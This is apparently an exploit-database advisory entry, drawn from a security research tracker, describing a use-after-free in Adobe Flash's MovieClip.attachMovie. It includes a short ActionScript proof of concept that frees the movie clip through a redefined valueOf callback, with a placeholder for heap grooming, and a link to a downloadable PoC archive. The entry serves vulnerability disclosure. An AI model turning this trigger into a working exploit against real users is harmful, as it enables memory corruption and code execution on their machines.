Adobe Flash MovieClip.attachMovie - Use-After-Free

Source: https://code.google.com/p/google-security-research/issues/detail?id=571

There is a use-after-free in MovieClip.attachMovie. If a string parameter has toString defined, a number parameter has valueOf defined or an object parameter has its constructor redefined, it can execute code and free the this object of the method, leading to a use-after-free.

A minimal PoC is as follows:

n ={valueOf : func};

function func(){
	
	_global.mc.removeMovieClip();
        // fix heap here;
  	
   }
this.createEmptyMovieClip("mc", 1);
_global.mc = mc;
mc.attachMovie("myResetButton","newResetButton", n);

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39055.zip